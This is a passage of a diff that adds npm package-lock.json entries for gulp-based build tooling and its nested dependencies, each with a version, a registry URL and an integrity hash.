+ "resolved": "https://registry.npmjs.org/glob-stream/-/glob-stream-6.1.0.tgz",
+ "integrity": "sha512-uMbLGAP3S2aDOHUDfdoYcdIePUCfysbAd0IAoWVZbeGU/oNQ8asHVSshLDJUPWxfzj8zsCG7/XeHPHTtow0nsw==",
+ "dev": true,
+ "dependencies": {
+ "extend": "^3.0.0",
+ "glob": "^7.1.1",
+ "glob-parent": "^3.1.0",
+ "is-negated-glob": "^1.0.0",
+ "ordered-read-streams": "^1.0.0",
+ "pumpify": "^1.3.5",
+ "readable-stream": "^2.1.5",
+ "remove-trailing-separator": "^1.0.1",
+ "to-absolute-glob": "^2.0.0",
+ "unique-stream": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/glob-stream/node_modules/glob-parent": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+ "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^3.1.0",
+ "path-dirname": "^1.0.0"
+ }
+ },
+ "node_modules/glob-stream/node_modules/is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "dependencies": {
+ "is-extglob": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/glob-to-regexp": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
+ "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/glob-watcher": {
+ "version": "5.0.5",
+ "resolved": "https://registry.npmjs.org/glob-watcher/-/glob-watcher-5.0.5.tgz",
+ "integrity": "sha512-zOZgGGEHPklZNjZQaZ9f41i7F2YwE+tS5ZHrDhbBCk3stwahn5vQxnFmBJZHoYdusR6R1bLSXeGUy/BhctwKzw==",
+ "dev": true,
+ "dependencies": {
+ "anymatch": "^2.0.0",
+ "async-done": "^1.2.0",
+ "chokidar": "^2.0.0",
+ "is-negated-glob": "^1.0.0",
+ "just-debounce": "^1.0.0",
+ "normalize-path": "^3.0.0",
+ "object.defaults": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/global-modules": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+ "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+ "dev": true,
+ "dependencies": {
+ "global-prefix": "^1.0.1",
+ "is-windows": "^1.0.1",
+ "resolve-dir": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/global-prefix": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+ "integrity": "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==",
+ "dev": true,
+ "dependencies": {
+ "expand-tilde": "^2.0.2",
+ "homedir-polyfill": "^1.0.1",
+ "ini": "^1.3.4",
+ "is-windows": "^1.0.1",
+ "which": "^1.2.14"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/global-prefix/node_modules/which": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+ "dev": true,
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "which": "bin/which"
+ }
+ },
+ "node_modules/globals": {
+ "version": "11.12.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/globby": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+ "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+ "dev": true,
+ "dependencies": {
+ "array-union": "^2.1.0",
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.2.9",
+ "ignore": "^5.2.0",
+ "merge2": "^1.4.1",
+ "slash": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/globby/node_modules/ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">= 4"
+ }
+ },
+ "node_modules/glogg": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/glogg/-/glogg-1.0.2.tgz",
+ "integrity": "sha512-5mwUoSuBk44Y4EshyiqcH95ZntbDdTQqA3QYSrxmzj28Ai0vXBGMH1ApSANH14j2sIRtqCEyg6PfsuP7ElOEDA==",
+ "dev": true,
+ "dependencies": {
+ "sparkles": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+ "dev": true
+ },
+ "node_modules/growl": {
+ "version": "1.10.5",
+ "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz",
+ "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==",
+ "dev": true,
+ "engines": {
+ "node": ">=4.x"
+ }
+ },
+ "node_modules/gulp": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/gulp/-/gulp-4.0.2.tgz",
+ "integrity": "sha512-dvEs27SCZt2ibF29xYgmnwwCYZxdxhQ/+LFWlbAW8y7jt68L/65402Lz3+CKy0Ov4rOs+NERmDq7YlZaDqUIfA==",
+ "dev": true,
+ "dependencies": {
+ "glob-watcher": "^5.0.3",
+ "gulp-cli": "^2.2.0",
+ "undertaker": "^1.2.1",
+ "vinyl-fs": "^3.0.0"
+ },
+ "bin": {
+ "gulp": "bin/gulp.js"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/gulp-change": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/gulp-change/-/gulp-change-1.0.2.tgz",
+ "integrity": "sha512-Okikw3E9bK+mmhC8VGFk+i4iafKTtGTnTGpCheuGtJn51TuMxQ5ooLeRvAfncyr4FQF+Byksj9OaecpDpYDFkw==",
+ "dev": true,
+ "dependencies": {
+ "event-stream": "^4.0.1"
+ }
+ },
+ "node_modules/gulp-clean-css": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/gulp-clean-css/-/gulp-clean-css-4.3.0.tgz",
+ "integrity": "sha512-mGyeT3qqFXTy61j0zOIciS4MkYziF2U594t2Vs9rUnpkEHqfu6aDITMp8xOvZcvdX61Uz3y1mVERRYmjzQF5fg==",
+ "dev": true,
+ "dependencies": {
+ "clean-css": "4.2.3",
+ "plugin-error": "1.0.1",
+ "through2": "3.0.1",
+ "vinyl-sourcemaps-apply": "0.2.1"
+ }
+ },
+ "node_modules/gulp-cli": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/gulp-cli/-/gulp-cli-2.3.0.tgz",
+ "integrity": "sha512-zzGBl5fHo0EKSXsHzjspp3y5CONegCm8ErO5Qh0UzFzk2y4tMvzLWhoDokADbarfZRL2pGpRp7yt6gfJX4ph7A==",
+ "dev": true,
+ "dependencies": {
+ "ansi-colors": "^1.0.1",
+ "archy": "^1.0.0",
+ "array-sort": "^1.0.0",
+ "color-support": "^1.1.3",
+ "concat-stream": "^1.6.0",
+ "copy-props": "^2.0.1",
+ "fancy-log": "^1.3.2",
+ "gulplog": "^1.0.0",
+ "interpret": "^1.4.0",
+ "isobject": "^3.0.1",
+ "liftoff": "^3.1.0",
+ "matchdep": "^2.0.0",
+ "mute-stdout": "^1.0.0",
+ "pretty-hrtime": "^1.0.0",
+ "replace-homedir": "^1.0.0",
+ "semver-greatest-satisfied-range": "^1.1.0",
+ "v8flags": "^3.2.0",
+ "yargs": "^7.1.0"
+ },
+ "bin": {
+ "gulp": "bin/gulp.js"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/ansi-colors": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz",
+ "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-wrap": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/ansi-regex": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+ "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/camelcase": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
+ "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/cliui": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
+ "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==",
+ "dev": true,
+ "dependencies": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1",
+ "wrap-ansi": "^2.0.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/get-caller-file": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
+ "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==",
+ "dev": true
+ },
+ "node_modules/gulp-cli/node_modules/is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+ "dev": true,
+ "dependencies": {
+ "number-is-nan": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+ "dev": true,
+ "dependencies": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/strip-ansi": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+ "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+ "dev": true,
+ "dependencies": {
+ "ansi-regex": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/wrap-ansi": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
+ "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==",
+ "dev": true,
+ "dependencies": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/y18n": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz",
+ "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==",
+ "dev": true
+ },
+ "node_modules/gulp-cli/node_modules/yargs": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.2.tgz",
+ "integrity": "sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==",
+ "dev": true,
+ "dependencies": {
+ "camelcase": "^3.0.0",
+ "cliui": "^3.2.0",
+ "decamelize": "^1.1.1",
+ "get-caller-file": "^1.0.1",
+ "os-locale": "^1.4.0",
+ "read-pkg-up": "^1.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^1.0.1",
+ "set-blocking": "^2.0.0",
+ "string-width": "^1.0.2",
+ "which-module": "^1.0.0",
+ "y18n": "^3.2.1",
+ "yargs-parser": "^5.0.1"
+ }
+ },
+ "node_modules/gulp-cli/node_modules/yargs-parser": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.1.tgz",
+ "integrity": "sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==",
+ "dev": true,
+ "dependencies": {
+ "camelcase": "^3.0.0",
+ "object.assign": "^4.1.0"
+ }
+ },
+ "node_modules/gulp-concat": {
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/gulp-concat/-/gulp-concat-2.6.1.tgz",
+ "integrity": "sha512-a2scActrQrDBpBbR3WUZGyGS1JEPLg5PZJdIa7/Bi3GuKAmPYDK6SFhy/NZq5R8KsKKFvtfR0fakbUCcKGCCjg==",
+ "dev": true,
+ "dependencies": {
+ "concat-with-sourcemaps": "^1.0.0",
+ "through2": "^2.0.0",
+ "vinyl": "^2.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/gulp-concat/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/gulp-htmlmin": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/gulp-htmlmin/-/gulp-htmlmin-5.0.1.tgz",
+ "integrity": "sha512-ASlyDPZOSKjHYUifYV0rf9JPDflN9IRIb8lw2vRqtYMC4ljU3zAmnnaVXwFQ3H+CfXxZSUesZ2x7jrnPJu93jA==",
+ "dev": true,
+ "dependencies": {
+ "html-minifier": "^3.5.20",
+ "plugin-error": "^1.0.1",
+ "through2": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 6.0"
+ }
+ },
+ "node_modules/gulp-htmlmin/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/gulp-jsonminify": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/gulp-jsonminify/-/gulp-jsonminify-1.1.0.tgz",
+ "integrity": "sha512-nkqH5aRajfCGD8HB2yN+QSEQG0SMEpS7UyOp3HS966Og4DqUX0y8sPF5SU8uSsGLLLXbnHwyHbDkxauYO/pSpQ==",
+ "dev": true,
+ "dependencies": {
+ "jsonminify": "~0.2.3",
+ "plugin-error": "^0.1.2",
+ "through2": "~0.6.5"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/arr-diff": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-1.1.0.tgz",
+ "integrity": "sha512-OQwDZUqYaQwyyhDJHThmzId8daf4/RFNLaeh3AevmSeZ5Y7ug4Ga/yKc6l6kTZOBW781rCj103ZuTh8GAsB3+Q==",
+ "dev": true,
+ "dependencies": {
+ "arr-flatten": "^1.0.1",
+ "array-slice": "^0.2.3"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/arr-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-2.1.0.tgz",
+ "integrity": "sha512-t5db90jq+qdgk8aFnxEkjqta0B/GHrM1pxzuuZz2zWsOXc5nKu3t+76s/PQBA8FTcM/ipspIH9jWG4OxCBc2eA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/array-slice": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-0.2.3.tgz",
+ "integrity": "sha512-rlVfZW/1Ph2SNySXwR9QYkChp8EkOEiTMO5Vwx60usw04i4nWemkm9RXmQqgkQFaLHsqLuADvjp6IfgL9l2M8Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/extend-shallow": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-1.1.4.tgz",
+ "integrity": "sha512-L7AGmkO6jhDkEBBGWlLtftA80Xq8DipnrRPr0pyi7GQLXkaq9JYA4xF4z6qnadIC6euiTDKco0cGSU9muw+WTw==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/isarray": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
+ "dev": true
+ },
+ "node_modules/gulp-jsonminify/node_modules/kind-of": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-1.1.0.tgz",
+ "integrity": "sha512-aUH6ElPnMGon2/YkxRIigV32MOpTVcoXQ1Oo8aYn40s+sJ3j+0gFZsT8HKDcxNy7Fi9zuquWtGaGAahOdv5p/g==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/plugin-error": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-0.1.2.tgz",
+ "integrity": "sha512-WzZHcm4+GO34sjFMxQMqZbsz3xiNEgonCskQ9v+IroMmYgk/tas8dG+Hr2D6IbRPybZ12oWpzE/w3cGJ6FJzOw==",
+ "dev": true,
+ "dependencies": {
+ "ansi-cyan": "^0.1.1",
+ "ansi-red": "^0.1.1",
+ "arr-diff": "^1.0.1",
+ "arr-union": "^2.0.1",
+ "extend-shallow": "^1.1.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/readable-stream": {
+ "version": "1.0.34",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
+ "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==",
+ "dev": true,
+ "dependencies": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.1",
+ "isarray": "0.0.1",
+ "string_decoder": "~0.10.x"
+ }
+ },
+ "node_modules/gulp-jsonminify/node_modules/string_decoder": {
+ "version": "0.10.31",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
+ "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==",
+ "dev": true
+ },
+ "node_modules/gulp-jsonminify/node_modules/through2": {
+ "version": "0.6.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz",
+ "integrity": "sha512-RkK/CCESdTKQZHdmKICijdKKsCRVHs5KsLZ6pACAmF/1GPUQhonHSXWNERctxEp7RmvjdNbZTL5z9V7nSCXKcg==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": ">=1.0.33-1 <1.1.0-0",
+ "xtend": ">=4.0.0 <4.1.0-0"
+ }
+ },
+ "node_modules/gulp-load-plugins": {
+ "version": "2.0.7",
+ "resolved": "https://registry.npmjs.org/gulp-load-plugins/-/gulp-load-plugins-2.0.7.tgz",
+ "integrity": "sha512-/3nl/p7s9O03Yv6SSEqN2dXEbDE0+JpsKfJl6h/GgCLqqnkZT0bF+JWcz87HzcTBeh/MVzMosAJx4kLDTWrTNQ==",
+ "dev": true,
+ "dependencies": {
+ "array-unique": "^0.3.2",
+ "fancy-log": "^1.2.0",
+ "findup-sync": "^4.0.0",
+ "gulplog": "^1.0.0",
+ "has-gulplog": "^0.1.0",
+ "micromatch": "^4.0.2",
+ "resolve": "^1.17.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/gulp-merge-json": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/gulp-merge-json/-/gulp-merge-json-2.1.1.tgz",
+ "integrity": "sha512-VhvAlcf+dcCb94j/2yDPWxJ3X7x4P/Xwcrv1dhjYuRgvADwFJmaQwl4zbuq+GDZvzMacbVncWtEdsETpUSkhYw==",
+ "dev": true,
+ "dependencies": {
+ "json5": "^2.1.3",
+ "lodash.mergewith": "^4.6.1",
+ "plugin-error": "^1.0.1",
+ "through": "^2.3.8",
+ "vinyl": "^2.1.0"
+ }
+ },
+ "node_modules/gulp-rename": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/gulp-rename/-/gulp-rename-2.0.0.tgz",
+ "integrity": "sha512-97Vba4KBzbYmR5VBs9mWmK+HwIf5mj+/zioxfZhOKeXtx5ZjBk57KFlePf5nxq9QsTtFl0ejnHE3zTC9MHXqyQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/gulp-sass": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/gulp-sass/-/gulp-sass-5.0.0.tgz",
+ "integrity": "sha512-J0aH0/2N4+2szGCeut0ktGHK0Wg8L9uWivuigrl7xv+nhxozBQRAKLrhnDDaTa3FeUWYtgT8w4RlgdhRy5v16w==",
+ "dev": true,
+ "dependencies": {
+ "chalk": "^4.1.1",
+ "lodash": "^4.17.20",
+ "plugin-error": "^1.0.1",
+ "replace-ext": "^2.0.0",
+ "strip-ansi": "^6.0.0",
+ "transfob": "^1.0.0",
+ "vinyl-sourcemaps-apply": "^0.2.1"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/gulp-zip": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/gulp-zip/-/gulp-zip-5.1.0.tgz",
+ "integrity": "sha512-XZr/y91IliK/SpR74g3TkZejGkGEmK7CSDjSghT1jXshgO+dFvpLIz9w9fpuwkew6i7k4F+G24TubNgq1ISzEw==",
+ "dev": true,
+ "dependencies": {
+ "get-stream": "^5.2.0",
+ "plugin-error": "^1.0.1",
+ "through2": "^3.0.1",
+ "vinyl": "^2.1.0",
+ "yazl": "^2.5.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "peerDependencies": {
+ "gulp": ">=4"
+ },
+ "peerDependenciesMeta": {
+ "gulp": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/gulplog": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/gulplog/-/gulplog-1.0.0.tgz",
+ "integrity": "sha512-hm6N8nrm3Y08jXie48jsC55eCZz9mnb4OirAStEk2deqeyhXU3C1otDVh+ccttMuc1sBi6RX6ZJ720hs9RCvgw==",
+ "dev": true,
+ "dependencies": {
+ "glogg": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/has": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
+ "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+ "dev": true,
+ "dependencies": {
+ "function-bind": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4.0"
+ }
+ },
+ "node_modules/has-flag": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/has-gulplog": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/has-gulplog/-/has-gulplog-0.1.0.tgz",
+ "integrity": "sha512-+F4GzLjwHNNDEAJW2DC1xXfEoPkRDmUdJ7CBYw4MpqtDwOnqdImJl7GWlpqx+Wko6//J8uKTnIe4wZSv7yCqmw==",
+ "dev": true,
+ "dependencies": {
+ "sparkles": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/has-property-descriptors": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz",
+ "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==",
+ "dev": true,
+ "dependencies": {
+ "get-intrinsic": "^1.1.1"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz",
+ "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/has-symbols": {
+ "version": "1.0.3",
